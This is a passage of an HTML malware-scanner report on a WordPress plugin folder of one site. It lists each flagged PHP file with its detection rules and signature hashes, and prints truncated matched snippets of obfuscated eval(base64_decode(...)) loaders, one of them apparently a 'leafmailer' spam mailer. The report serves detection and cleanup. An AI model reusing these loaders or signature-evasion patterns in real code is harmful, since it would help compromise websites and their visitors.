</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_311").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/zepbvfus.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 07:00:07</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 07:00:07</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_312" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_312").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/otaft.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 18:08:42</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 18:08:42</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_313" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_313").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/egukt.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 15:38:33</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 15:38:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_314" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
